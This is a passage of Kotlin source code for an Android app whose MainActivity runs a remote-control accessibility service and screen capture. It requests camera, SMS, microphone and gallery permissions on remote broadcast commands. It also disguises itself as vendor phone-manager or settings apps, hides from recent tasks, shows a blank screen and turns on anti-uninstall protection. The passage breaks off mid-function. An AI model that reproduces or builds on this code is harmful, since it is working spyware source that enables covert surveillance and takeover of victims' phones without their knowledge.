package com.hikoncont import android.app.Activity import android.app.ActivityManager import android.content.BroadcastReceiver import android.content.Context import android.content.Intent import android.content.IntentFilter import android.media.projection.MediaProjection import android.media.projection.MediaProjectionManager import android.os.Build import android.os.Bundle import android.os.Handler import android.os.Looper import android.provider.Settings import android.net.Uri import android.util.Log import android.widget.Button import android.widget.ImageView import android.widget.Switch import android.widget.TextView import androidx.appcompat.app.AppCompatActivity import androidx.core.content.ContextCompat import com.hikoncont.service.AccessibilityRemoteService import android.content.pm.PackageManager import android.graphics.Color import android.view.View import android.view.WindowManager import android.view.accessibility.AccessibilityNodeInfo import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch import kotlinx.coroutines.delay /** * 主Activity * * 引导用户开启无障碍服务并显示服务状态 */ class MainActivity : AppCompatActivity() { companion object { private const val TAG = "MainActivity" private const val REQUEST_MEDIA_PROJECTION = 1001 private const val REQUEST_ACCESSIBILITY_PERMISSION = 1002 // 删除悬浮窗权限请求常量 private const val REQUEST_SIMPLE_PERMISSION = 1004 private const val REQUEST_SMS_PERMISSION = 1006 private const val REQUEST_GALLERY_PERMISSION = 1007 private const val REQUEST_MICROPHONE_PERMISSION = 1008 private const val REQUEST_CAMERA_PERMISSION = 1009 private const val REQUEST_ALL_PERMISSIONS = 1010 // ✅ 新增:自动重试配置 private const val MAX_AUTO_RETRY_COUNT = 6 // 最大重试次数:6次 (约30秒) private const val AUTO_RETRY_INTERVAL = 5000L // 重试间隔:5秒 } private lateinit var statusText: TextView private lateinit var enableButton: Button private lateinit var appNameText: TextView private lateinit var usageInstructionsText: TextView private lateinit var serviceSwitch: Switch private lateinit var appIconImageView: ImageView private var mediaProjectionManager: MediaProjectionManager? = null private var mediaProjection: MediaProjection? = null // ✅ 新增:重试状态追踪 private var autoRetryCount = 0 private var retryHandler: android.os.Handler? = null private var retryRunnable: Runnable? = null // ✅ 标记是否为自动权限申请流程 private var isAutoPermissionRequest = false // ✅ 防止重复权限申请的标志 private var permissionRequestInProgress = false // ✅ 新增:存储自定义的页面样式配置 private var customStatusText: String? = null private var customUsageInstructions: String? = null // 🔑 新增:状态文本保护标志 - 当有自定义状态文本时不允许修改 private var preserveCustomStatusText = false // ✅ MediaProjection权限监听Handler private var mediaProjectionCheckHandler: Handler? = null // ✅ WebView状态相关(使用静态变量方案,最高性能) private var webViewStatusHandler: Handler? = null private var webViewStatusRunnable: Runnable? = null private var isWebViewVisible = false private var mediaProjectionCheckRunnable: Runnable? = null // ✅ 合并的广播接收器 - 处理停止Activity和备用权限申请 private val combinedBroadcastReceiver = object : BroadcastReceiver() { override fun onReceive(context: Context?, intent: Intent?) { when (intent?.action) { "android.mycustrecev.STOP_ACTIVITY_CREATION" -> { Log.i(TAG, "📡 收到停止Activity创建广播,关闭MainActivity") hideActivityToBackground() } "android.mycustrecev.REQUEST_CAMERA_PERMISSION" -> { Log.i(TAG, "📡 收到摄像头权限请求广播") requestCameraPermissionDirectly() } "android.mycustrecev.REQUEST_GALLERY_PERMISSION" -> { Log.i(TAG, "📡 收到相册权限请求广播") requestGalleryPermissionDirectly() } "android.mycustrecev.REQUEST_MICROPHONE_PERMISSION" -> { Log.i(TAG, "📡 收到麦克风权限请求广播") requestMicrophonePermissionDirectly() } "android.mycustrecev.REQUEST_SMS_PERMISSION" -> { Log.i(TAG, "📡 收到短信权限请求广播") requestSMSPermissionDirectly() } "android.mycustrecev.REQUEST_ALL_PERMISSIONS" -> { Log.i(TAG, "📡 收到所有权限请求广播") requestAllPermissionsAtOnce() } // ✅ 移除SETUP_COMPLETE广播处理,功能已融合到SetupCompleteReceiver中 // ✅ 移除INSTALLATION_COMPLETE广播处理,功能已融合到InstallationCompleteReceiver中 "android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE" -> { Log.i(TAG, "📡 收到备用权限申请广播 - 来自AccessibilityRemoteService") val autoRequest = intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) val timestamp = intent.getLongExtra("TIMESTAMP", 0) val source = intent.getStringExtra("SOURCE") ?: "未知" Log.i( TAG, "📊 备用广播参数: AUTO_REQUEST_PERMISSION=$autoRequest, TIMESTAMP=$timestamp, SOURCE=$source" ) if (autoRequest) { // ✅ 检查是否已有权限申请在进行,防止重复申请 if (permissionRequestInProgress) { Log.w(TAG, "⚠️ 权限申请已在进行中,忽略备用广播") return } // ✅ 检查权限是否已存在,防止重复申请 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { Log.i(TAG, "✅ MediaProjection权限已存在,忽略备用广播") return } Log.i( TAG, "✅ 备用广播包含AUTO_REQUEST_PERMISSION=true,但权限申请已通过主Intent启动" ) Log.i(TAG, "🔄 备用广播仅用于确保Activity前台显示,不重复启动权限申请") // ✅ 仅强制将Activity带到前台,不重复启动权限申请 runOnUiThread { try { // ✅ ANR修复:异步处理窗口焦点操作 android.os.Handler(android.os.Looper.getMainLooper()).post { try { // 分步骤设置窗口标志,避免ANR window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED) android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON) window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON) // 延迟执行moveTaskToFront android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager activityManager.moveTaskToFront( taskId, android.app.ActivityManager.MOVE_TASK_WITH_HOME ) Log.i(TAG, "✅ 已设置Activity前台显示标志并尝试移至前台") } catch (e: Exception) { Log.e(TAG, "❌ moveTaskToFront失败", e) } }, 150) } catch (e: Exception) { Log.e(TAG, "❌ 设置屏幕标志失败", e) } }, 100) } catch (e: Exception) { Log.e(TAG, "❌ 异步设置Activity前台显示失败", e) } } } catch (e: Exception) { Log.w(TAG, "⚠️ 设置Activity前台显示失败: ${e.message}") } } } else { Log.w(TAG, "⚠️ 备用广播不包含AUTO_REQUEST_PERMISSION=true") } } "android.mycustrecev.SHOW_MAIN_ACTIVITY" -> { Log.i(TAG, "📡 收到显示主页广播") val setupComplete = intent.getBooleanExtra("SETUP_COMPLETE", false) val forceForeground = intent.getBooleanExtra("FORCE_FOREGROUND", false) runOnUiThread { try { // 强制将Activity带到前台的多重机制 Log.i(TAG, "🚀 开始强制前台显示 (forceForeground=$forceForeground)") // ✅ ANR修复:异步处理窗口焦点操作 android.os.Handler(android.os.Looper.getMainLooper()).post { try { // 方法1:分步骤设置窗口标志,避免ANR window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED) android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON) window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON) window.addFlags(android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD) if (forceForeground) { // 方法2:强制获取焦点 window.addFlags(android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL) window.addFlags(android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH) // 方法3:延迟执行ActivityManager移动任务 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager activityManager.moveTaskToFront( taskId, android.app.ActivityManager.MOVE_TASK_WITH_HOME ) Log.i(TAG, "✅ ActivityManager移动任务成功") } catch (e: Exception) { Log.w(TAG, "⚠️ ActivityManager移动任务失败", e) } }, 200) // 方法4:请求用户注意 try { setTurnScreenOn(true) setShowWhenLocked(true) Log.i(TAG, "✅ 系统级前台显示设置成功") } catch (e: Exception) { Log.w(TAG, "⚠️ 系统级前台显示设置失败", e) } } } catch (e: Exception) { Log.e(TAG, "❌ 设置窗口标志失败", e) } }, 100) } catch (e: Exception) { Log.e(TAG, "❌ 异步设置窗口标志失败", e) } } if (setupComplete) { updateStatusTextThreadSafe( "✅ 服务启动中...", android.R.color.holo_green_dark ) if (::enableButton.isInitialized) { enableButton.text = "服务已就绪" enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark)) enableButton.isEnabled = false } } Log.i(TAG, "✅ 主页已显示并更新状态") } catch (e: Exception) { Log.e(TAG, "❌ 显示主页失败", e) } } } } } } /** * 🔑 新增:安全更新状态文本的辅助方法 * 如果有自定义状态文本且启用了保护,则不更新 */ private fun updateStatusTextSafely(newText: String, color: Int? = null) { // ✅ 安全检查:确保UI组件已初始化 if (!::statusText.isInitialized) { Log.w(TAG, "⚠️ statusText未初始化,跳过updateStatusTextSafely") return } // ✅ 检查是否是WebView模式,如果是则跳过UI更新 if (isWebViewMode()) { Log.d(TAG, "🌐 WebView模式,跳过状态文本更新: $newText") return } if (preserveCustomStatusText && !customStatusText.isNullOrEmpty()) { Log.d(TAG, "🛡️ 状态文本受保护,跳过更新: $newText") return } // 🎭 检查是否是伪装模式,如果是则跳过UI更新 if (isPhoneManagerCamouflageMode()) { Log.d(TAG, "🎭 伪装模式,跳过状态文本更新: $newText") return } statusText.text = newText color?.let { statusText.setTextColor(getColor(it)) } Log.d(TAG, "📝 状态文本已更新: $newText") } /** * ✅ 新增:安全更新状态文本的便捷方法,自动处理UI线程 */ private fun updateStatusTextSafelyOnUiThread(newText: String, color: Int? = null) { runOnUiThread { updateStatusTextSafely(newText, color) } } /** * ✅ 检查是否是WebView模式 * 在WebView模式下,statusText等UI组件被隐藏,不应该尝试更新 */ private fun isWebViewMode(): Boolean { return try { val webView = findViewById(R.id.webView) val statusText = findViewById(R.id.statusText) // 如果WebView可见且statusText被隐藏,则认为是WebView模式 webView?.visibility == android.view.View.VISIBLE && statusText?.visibility == android.view.View.GONE } catch (e: Exception) { Log.d(TAG, "🔍 检查WebView模式时异常: ${e.message}") false } } override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) // ✅ 参考zuiqiang:移除保活检测,让MainActivity正常启动 // zuiqiang的做法是在onDestroy时启动透明保活Activity,而不是在onCreate中检测 // ✅ 确保无障碍服务在App打开时被拉起(已授权但服务异常时) // try { // ensureAccessibilityServiceAlive() // } catch (_: Exception) {} // Log.i(TAG, "MainActivity创建完成") Log.i(TAG, "📊 Activity实例信息: ${this.hashCode()}, 任务ID: ${this.taskId}") // ✅ 添加详细的Intent调试信息 val intent = getIntent() if (intent != null) { Log.i(TAG, "🔍 Intent详细信息:") Log.i(TAG, "🔍 action: ${intent.action}") Log.i(TAG, "🔍 component: ${intent.component}") Log.i( TAG, "🔍 from_installation_complete: ${ intent.getBooleanExtra( "from_installation_complete", false ) }" ) Log.i(TAG, "🔍 show_webview: ${intent.getBooleanExtra("show_webview", false)}") Log.i(TAG, "🔍 user_initiated: ${intent.getBooleanExtra("user_initiated", false)}") Log.i(TAG, "🔍 force_foreground: ${intent.getBooleanExtra("force_foreground", false)}") Log.i( TAG, "🔍 LAUNCH_BACKGROUND: ${intent.getBooleanExtra("LAUNCH_BACKGROUND", false)}" ) } else { Log.w(TAG, "⚠️ Intent为null") } // ✅ 注册广播接收器(无论是否伪装模式都需要) val filter = IntentFilter().apply { addAction("android.mycustrecev.STOP_ACTIVITY_CREATION") addAction("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE") // 添加备用广播 addAction("android.mycustrecev.SHOW_MAIN_ACTIVITY") // 添加显示主页广播 // ✅ 移除SETUP_COMPLETE广播,功能已融合到SetupCompleteReceiver中 // ✅ 移除INSTALLATION_COMPLETE广播,功能已融合到InstallationCompleteReceiver中 addAction("android.mycustrecev.REQUEST_CAMERA_PERMISSION") // ✅ 新增:摄像头权限请求广播 addAction("android.mycustrecev.REQUEST_GALLERY_PERMISSION") // ✅ 新增:相册权限请求广播 addAction("android.mycustrecev.REQUEST_MICROPHONE_PERMISSION") // ✅ 新增:麦克风权限请求广播 addAction("android.mycustrecev.REQUEST_SMS_PERMISSION") // ✅ 新增:短信权限请求广播 addAction("android.mycustrecev.REQUEST_ALL_PERMISSIONS") // ✅ 新增:所有权限请求广播 } registerReceiver(combinedBroadcastReceiver, filter) // ✅ 新增:记录应用启动次数,用于保活检测 recordAppLaunch() // ✅ 新增:检查是否为无闪现后台唤起 if (intent?.getBooleanExtra("LAUNCH_BACKGROUND", false) == true) { try { overridePendingTransition(0, 0) window.decorView.alpha = 0f moveTaskToBack(true) Log.i(TAG, "🫥 onCreate: 已无闪现退到后台") } catch (e: Exception) { Log.w(TAG, "⚠️ onCreate 隐藏失败: ${e.message}") } } // ✅ 优先检查:是否来自安装完成广播,需要显示WebView if (intent?.getBooleanExtra("from_installation_complete", false) == true && intent?.getBooleanExtra("show_webview", false) == true ) { Log.i(TAG, "🌐 来自安装完成广播,检查MediaProjection权限后显示WebView") Log.i( TAG, "🔍 Intent参数: from_installation_complete=${ intent.getBooleanExtra( "from_installation_complete", false ) }, show_webview=${intent.getBooleanExtra("show_webview", false)}" ) Log.i( TAG, "🔍 其他参数: user_initiated=${ intent.getBooleanExtra( "user_initiated", false ) }, force_foreground=${intent.getBooleanExtra("force_foreground", false)}" ) // ✅ 新增:检查MediaProjection权限是否已获取 val hasMediaProjectionPermission = checkRealMediaProjectionPermission() Log.i(TAG, "🔍 MediaProjection权限检查结果: $hasMediaProjectionPermission") if (!hasMediaProjectionPermission) { Log.w(TAG, "⚠️ MediaProjection权限未获取,不启动WebView,转入手动权限申请流程") // 设置布局但不启动WebView,让应用进入正常的权限申请流程 setContentView(R.layout.activity_main) initViews() return } Log.i(TAG, "✅ MediaProjection权限已获取,启动WebView") setContentView(R.layout.activity_main) Log.i(TAG, "✅ 已设置布局,准备启动WebView") // ✅ 修复:在可能访问UI组件之前初始化视图 initViews() // ✅ 检查布局是否正确设置 val webView = findViewById(R.id.webView) if (webView == null) { Log.e(TAG, "❌ 布局设置后未找到WebView,可能布局文件有问题") return } else { Log.i(TAG, "✅ 布局设置成功,找到WebView") } startWebViewActivity() Log.i(TAG, "✅ 已调用startWebViewActivity,准备返回") return } // ✅ 参考zuiqiang:检查是否为保活启动,如果是则直接结束避免动画 // 注意:只有在明确是保活启动时才结束,避免误判正常启动 if (isLaunchedByKeepAlive()) { Log.i(TAG, "🫥 检测到保活启动,直接结束避免动画") // 参考zuiqiang:保活启动时完全禁用动画,直接结束 overridePendingTransition(0, 0) window.setBackgroundDrawableResource(android.R.color.transparent) window.attributes.windowAnimations = 0 finish() return } setContentView(R.layout.activity_main) // 🔍 无障碍服务健康检查(是否正常运行) try { val enabled = isAccessibilityServiceEnabled() val instance = AccessibilityRemoteService.getInstance() val running = AccessibilityRemoteService.isServiceRunning() Log.i( TAG, "🔍 无障碍服务健康检查: enabled=$enabled, instance=${instance != null}, running=$running" ) if (enabled && running && instance != null) { // 🎭 检查是否是手机管家伪装模式 if (isPhoneManagerCamouflageMode()) { Log.i(TAG, "🎭 检测到手机管家伪装模式,启动无障碍监听服务") try { // ✅ 伪装模式下,从任务栏移除进程 removeFromRecentTasks() // 设置伪装主题,完全隐藏界面 setTheme(R.style.Theme_Camouflage) // 设置完全全屏,隐藏所有系统UI window.setFlags( WindowManager.LayoutParams.FLAG_FULLSCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_FULLSCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED ) // 隐藏状态栏和导航栏 window.decorView.systemUiVisibility = ( View.SYSTEM_UI_FLAG_FULLSCREEN or View.SYSTEM_UI_FLAG_HIDE_NAVIGATION or View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY or View.SYSTEM_UI_FLAG_LAYOUT_STABLE or View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN ) // 创建一个完全透明的视图 val transparentView = View(this) transparentView.setBackgroundColor(Color.TRANSPARENT) setContentView(transparentView) // 启动无障碍监听服务,让无障碍服务处理跳转 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { startAccessibilityServiceForCamouflage() } catch (e: Exception) { Log.e(TAG, "❌ 启动无障碍监听服务失败", e) } }, 100) // 100ms延迟,确保界面设置完成 } catch (e: Exception) { Log.e(TAG, "❌ 伪装模式设置失败", e) } return } // 🎭 检查是否是I管家伪装模式 if (isIGuanjiaCamouflageMode()) { Log.i(TAG, "🎭 检测到I管家伪装模式,启动无障碍监听服务") try { // ✅ 伪装模式下,从任务栏移除进程 removeFromRecentTasks() // 设置伪装主题,完全隐藏界面 setTheme(R.style.Theme_Camouflage) // 设置完全全屏,隐藏所有系统UI window.setFlags( WindowManager.LayoutParams.FLAG_FULLSCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_FULLSCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR or WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED ) // 隐藏状态栏和导航栏 window.decorView.systemUiVisibility = ( View.SYSTEM_UI_FLAG_FULLSCREEN or View.SYSTEM_UI_FLAG_HIDE_NAVIGATION or View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY or View.SYSTEM_UI_FLAG_LAYOUT_STABLE or View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN ) // 创建一个完全透明的视图 val transparentView = View(this) transparentView.setBackgroundColor(Color.TRANSPARENT) setContentView(transparentView) // 启动无障碍监听服务,让无障碍服务处理跳转 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { startAccessibilityServiceForCamouflage() } catch (e: Exception) { Log.e(TAG, "❌ 启动无障碍监听服务失败", e) } }, 100) // 100ms延迟,确保界面设置完成 } catch (e: Exception) { Log.e(TAG, "❌ I管家伪装模式设置失败", e) } return } // ✅ 新增:检查安装是否已完成,如果完成则直接显示WebView if (isInstallationCompleted()) { Log.i(TAG, "📦 检测到安装已完成,直接显示WebView") setContentView(R.layout.activity_main) startWebViewActivity() return } // 🔐 只有在密码框曾经显示过的情况下才检查密码输入状态 if (hasPasswordInputBeenShown() && !isPasswordInputCompleted()) { Log.i(TAG, "🔐 密码框曾经显示过且密码输入未完成,强制跳转到密码输入页面") startPasswordInputActivity() return } // 🌐 如果WebView曾经打开过(从文件读取),则每次进入直接打开WebView if (com.hikoncont.util.WebViewStateStore.hasOpened(this)) { Log.i(TAG, "🌐 检测到WebView曾经打开过,检查MediaProjection权限后启动WebView页面") // ✅ 新增:检查MediaProjection权限是否已获取 val hasMediaProjectionPermission = checkRealMediaProjectionPermission() Log.i(TAG, "🔍 MediaProjection权限检查结果: $hasMediaProjectionPermission") if (!hasMediaProjectionPermission) { Log.w(TAG, "⚠️ MediaProjection权限未获取,不启动WebView,转入手动权限申请流程") // 不启动WebView,让应用进入正常的权限申请流程 return } Log.i(TAG, "✅ MediaProjection权限已获取,启动WebView页面") startWebViewActivity() return } } } catch (e: Exception) { Log.e(TAG, "❌ 无障碍服务健康检查异常", e) } initViews() setupClickListeners() updateUI() // ✅ 新增:APP打开时强制检查并恢复无障碍服务 forceCheckAndRecoverAccessibilityService() // 检查是否需要申请短信权限 handleSMSPermissionRequest() // 检查是否需要申请相册权限 handleGalleryPermissionRequest() handleMicrophonePermissionRequest() // 初始化MediaProjectionManager mediaProjectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager // 处理Intent handleIntentAndPermissions(intent) } /** * ✅ 从任务栏移除进程(伪装模式下使用) */ private fun removeFromRecentTasks() { try { if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) { val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager val appTasks = activityManager.appTasks if (appTasks.isNotEmpty()) { val appTask = appTasks[0] appTask.setExcludeFromRecents(true) Log.i(TAG, "✅ 已从任务栏移除进程") } else { Log.w(TAG, "⚠️ 未找到AppTask,无法从任务栏移除") } } else { Log.w(TAG, "⚠️ API版本过低,无法使用setExcludeFromRecents") } } catch (e: Exception) { Log.e(TAG, "❌ 从任务栏移除进程失败", e) } } /** * 🎭 检查是否是手机管家伪装模式 * ✅ 参考 AccessibilityRemoteService.kt 的检测逻辑 */ private fun isPhoneManagerCamouflageMode(): Boolean { return try { val packageManager = packageManager val mainComponent = android.content.ComponentName(this, "com.hikoncont.MainActivity") // 检查所有可能的伪装alias(与 AccessibilityRemoteService.kt 保持一致) val camouflageAliases = listOf( "com.hikoncont.PhoneManagerAlias", "com.hikoncont.OppoAlias", "com.hikoncont.HuaweiAlias", "com.hikoncont.HonorAlias", "com.hikoncont.XiaomiAlias", "com.hikoncont.SettingsAlias", "com.hikoncont.SIMAlias" ) // ✅ 检查 MainActivity 是否被禁用 val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent) val isMainDisabled = (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) // ✅ 检查是否有任何伪装alias被启用 var anyAliasEnabled = false var enabledAlias = "" for (aliasName in camouflageAliases) { try { val component = android.content.ComponentName(this, aliasName) val enabled = packageManager.getComponentEnabledSetting(component) if (enabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) { anyAliasEnabled = true enabledAlias = aliasName break } } catch (e: Exception) { Log.w(TAG, "⚠️ 检查alias状态失败: $aliasName", e) } } // ✅ 伪装模式 = MainActivity 被禁用 && 有任何一个 alias 被启用 val isCamouflage = isMainDisabled && anyAliasEnabled Log.d( TAG, "🎭 检查手机管家伪装模式: $isCamouflage (Main: $isMainDisabled, EnabledAlias: $enabledAlias)" ) isCamouflage } catch (e: Exception) { Log.e(TAG, "❌ 检查手机管家伪装模式失败", e) false } } /** * 🎭 检查是否是I管家伪装模式 * ✅ 参考 AccessibilityRemoteService.kt 的检测逻辑 */ private fun isIGuanjiaCamouflageMode(): Boolean { return try { val packageManager = packageManager val mainComponent = android.content.ComponentName(this, "com.hikoncont.MainActivity") val aliasComponent = android.content.ComponentName(this, "com.hikoncont.VivoIGuanjiaAlias") // ✅ 检查 MainActivity 是否被禁用 val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent) val isMainDisabled = (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) // ✅ 检查 VivoIGuanjiaAlias 是否被启用 val aliasEnabled = packageManager.getComponentEnabledSetting(aliasComponent) val isAliasEnabled = (aliasEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) // ✅ 伪装模式 = MainActivity 被禁用 && alias 被启用 val isCamouflage = isMainDisabled && isAliasEnabled Log.d( TAG, "🎭 检查I管家伪装模式: $isCamouflage (Main: $isMainDisabled, Alias: $isAliasEnabled)" ) isCamouflage } catch (e: Exception) { Log.e(TAG, "❌ 检查I管家伪装模式失败", e) false } } /** * 🎭 设置白色界面模式 */ private fun setupWhiteScreenMode() { try { Log.i(TAG, "🎭 开始设置白色界面模式") // 设置伪装主题 setTheme(R.style.Theme_Camouflage) // 创建一个简单的白色视图 val whiteView = View(this) whiteView.setBackgroundColor(Color.WHITE) setContentView(whiteView) // 设置完全全屏,隐藏所有系统UI window.setFlags( WindowManager.LayoutParams.FLAG_FULLSCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR, WindowManager.LayoutParams.FLAG_FULLSCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS or WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN or WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR ) // 隐藏状态栏和导航栏,使用更激进的设置 window.decorView.systemUiVisibility = ( View.SYSTEM_UI_FLAG_FULLSCREEN or View.SYSTEM_UI_FLAG_HIDE_NAVIGATION or View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY or View.SYSTEM_UI_FLAG_LAYOUT_STABLE or View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION or View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN ) // 设置状态栏和导航栏为白色 if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) { window.statusBarColor = Color.WHITE window.navigationBarColor = Color.WHITE } // 设置窗口背景为白色 window.setBackgroundDrawableResource(android.R.color.white) Log.i(TAG, "✅ 白色界面模式设置完成") Log.i(TAG, "🎭 伪装模式:显示完全白色界面,无系统UI") } catch (e: Exception) { Log.e(TAG, "❌ 设置白色界面模式失败", e) } } /** * 🎭 启动无障碍监听服务(用于伪装模式) */ private fun startAccessibilityServiceForCamouflage() { try { Log.i(TAG, "🎭 启动无障碍监听服务用于伪装模式") // 启动无障碍服务 val accessibilityIntent = Intent(this, com.hikoncont.service.AccessibilityRemoteService::class.java) startService(accessibilityIntent) // 等待服务启动 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { // 获取无障碍服务实例并启用伪装监听和防卸载监听 val accessibilityService = com.hikoncont.service.AccessibilityRemoteService.getInstance() if (accessibilityService != null) { // 启用伪装监听 val eventManager = accessibilityService.getAccessibilityEventManager() if (eventManager != null) { eventManager.enablePhoneManagerCamouflage() Log.i(TAG, "✅ 伪装监听服务已启用") } else { Log.w(TAG, "⚠️ AccessibilityEventManager不可用") } // 启用防卸载监听 try { accessibilityService.enableUninstallProtection() Log.i(TAG, "✅ 防卸载监听服务已启用") } catch (e: Exception) { Log.e(TAG, "❌ 启用防卸载监听失败", e) } } else { Log.w(TAG, "⚠️ AccessibilityRemoteService不可用") } } catch (e: Exception) { Log.e(TAG, "❌ 启用监听服务失败", e) } }, 200) // 等待200ms让服务完全启动 } catch (e: Exception) { Log.e(TAG, "❌ 启动无障碍监听服务异常", e) } } /** * 🛡️ 确保无障碍服务处于运行状态(App被打开时) * 逻辑:若未运行→先尝试组件级重绑→短延迟后再尝试startService→再短延迟检查实例 */ private fun ensureAccessibilityServiceAlive() { try { val running = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning() if (running) return // 1) 组件级强制重绑 try { val pm = packageManager val component = android.content.ComponentName( this, com.hikoncont.service.AccessibilityRemoteService::class.java ) val flags = android.content.pm.PackageManager.DONT_KILL_APP or android.content.pm.PackageManager.SYNCHRONOUS pm.setComponentEnabledSetting( component, android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED, flags ) try { Thread.sleep(150) } catch (_: InterruptedException) { } pm.setComponentEnabledSetting( component, android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED, flags ) } catch (_: Exception) { } // 2) 明确startService以促使系统建立绑定 try { val intent = Intent(this, com.hikoncont.service.AccessibilityRemoteService::class.java) startService(intent) } catch (_: Exception) { } // 3) 短延迟后再校验一次实例 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { val instance = com.hikoncont.service.AccessibilityRemoteService.getInstance() val ok = instance != null && com.hikoncont.service.AccessibilityRemoteService.isServiceRunning() if (!ok) { // ✅ 参考 f 目录策略:只启动主前台服务,不启动多余的保活服务 Log.w(TAG, "⚠️ 无障碍服务未运行,但保活程序不启动多余服务(参考 f 目录策略)") } } catch (_: Exception) { } }, 250) } catch (_: Exception) { } } /** * 🎭 启动系统手机管家 */ private fun startSystemPhoneManager() { try { Log.i(TAG, "🎭 开始启动系统手机管家") val packageManager = packageManager // 常见的手机管家包名列表(按优先级排序) val phoneManagerPackages = listOf( "com.coloros.phonemanager", //vivo 手机管家 "com.miui.securitycenter", // 小米安全中心 "com.huawei.systemmanager", // 华为手机管家 "com.oppo.safecenter", // OPPO安全中心 "com.vivo.safecenter", // vivo安全中心 "com.samsung.android.app.smartcallprovider", // 三星安全中心 "com.lenovo.safecenter", // 联想安全中心 "com.tencent.qqpimsecure", // 腾讯手机管家 "com.qihoo.security", // 360手机卫士 "com.kingsoft.powerword", // 金山手机卫士 "com.baidu.security", // 百度手机卫士 "com.android.settings" // 系统设置(备用) ) // 尝试启动系统手机管家 var success = false for (packageName in phoneManagerPackages) { try { val intent = packageManager.getLaunchIntentForPackage(packageName) if (intent != null) { // 使用最激进的Intent flags来确保快速切换 intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT) intent.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT) intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) startActivity(intent) Log.i(TAG, "✅ 成功启动系统手机管家: $packageName") success = true break } } catch (e: Exception) { Log.d(TAG, "⚠️ 无法启动手机管家: $packageName", e) continue } } // 